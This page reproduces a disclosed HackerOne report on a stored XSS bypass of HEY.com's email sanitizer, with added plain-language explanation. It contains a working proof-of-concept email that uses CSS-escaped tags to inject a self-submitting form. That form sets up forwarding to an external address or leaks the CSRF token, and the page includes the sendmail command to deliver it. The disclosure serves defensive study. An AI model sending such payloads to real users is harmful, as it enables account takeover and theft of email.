Skip to content
XSS Disclosed report Advanced

HEY.com email stored XSS

The HEY.com HTML sanitizer can be bypassed by sending a crafted HTML email that uses CSS url() with encoded characters to inject a form. An attacker could set up email forwarding to an external address or steal the victim's CSRF token.

jouko Follow

Originally disclosed on HackerOne

Bounty$5,000 Critical View original
  • Triaged in 14 hours
  • Fixed in 23 hours
  • Paid in 14 hours
  • Disclosed after 43 days

An attacker can bypass the HEY.com HTML sanitizer and inject arbitrary unsafe HTML in emails.

To reproduce the bug you have to send raw HTML-formatted email. You can do it e.g. with the Sendmail tool on Linux.

Example email:

PLAIN
From: [email protected]
To: [email protected]
Subject: HackerOne test
MIME-Version: 1.0
Content-type: text/html

<style>
url(cid://\00003c\000027message-content\00003e\00003ctemplate\00003e\00003cstyle\00003exxx);
url(cid://\00003c/style\00003e\00003c/template\00003e\00003c/message-content\00003e\00003cform\000020action=/my/accounts/266986/forwardings/outbounds\000020data-controller=beacon\00003e\00003cinput\000020type=text\000020name=contact_outbound_forwarding[to_email_address]\[email protected]\00003e\00003c/form\00003exxx);
</style>

To send the email, create a text file with the above contents. Send it with the command

PLAIN
/usr/sbin/sendmail -t < email.txt

The backslashes in the <style> tag are decoded. The first \000027 confuses the HTML filter. The encoded <message-content> and <template> tags are there to escape the DOM shadowroot element. The HTML filter doesn't let you inject only closing tags, i.e. </template>, you need an opening tag first.

Finally, HTML like this is injected:

HTML
<form action="/my/accounts/266986/forwardings/outbound" data-controller="beacon">
<input type=text name="contact_outbound_forwarding[to_email_address]" value="[email protected]">
</form>

This exploits the Stimulus framework and the existing JavaScript controllers to post the form automatically. The CSRF token is inserted by the framework. This example sets up email forwarding to an external address.

This is just one way to exploit the bug. Even though plain <script> won't work in modern browsers due to the Content Security Policy, It seems likely there are ways to bypass it by using the JS frameworks (will look at this more). The account ID in this PoC has to be guesstimated or brute forced (266986).

Another example is to simply set the form action to an attacker URL. This will send the user's CSRF token to the attacker so that it could be used in a subsequent attack.

The POST request in Chrome's developer console:

hey.png
hey.png From the original on HackerOne

If you want to view the email on my HEY account ([email protected]) the email ID is 83625339.

Impact

A HEY user viewing an email sent by the attacker may have their account compromised.

The original report as published on HackerOne, by jouko. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the HTML sanitizer fails to properly decode and filter CSS url() values containing escaped characters, allowing encoded HTML tags to be injected.

Impact

A HEY user viewing an email sent by the attacker may have their account compromised, though a Content Security Policy blocks plain script tags.

What the attacker needed

Attacker can send email to victim; victim views email in HEY.com; account ID must be known or brute-forced

How it was found

  1. Create a text file containing a raw HTML email with a style tag that uses encoded characters in url() values.
  2. Send the email to the victim using the sendmail command.
  3. The victim opens the email in HEY.com, and the sanitizer is bypassed, injecting a form.
  4. The Stimulus framework automatically submits the form, setting up email forwarding to an external address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you receive an email, HEY.com tries to clean the HTML so it cannot run dangerous code. The researcher found a way to sneak a form past that cleaning step. If you open the email, the form can silently change your email forwarding settings or leak a secret token that protects your account.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jouko

View all

13 more disclosed reports, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.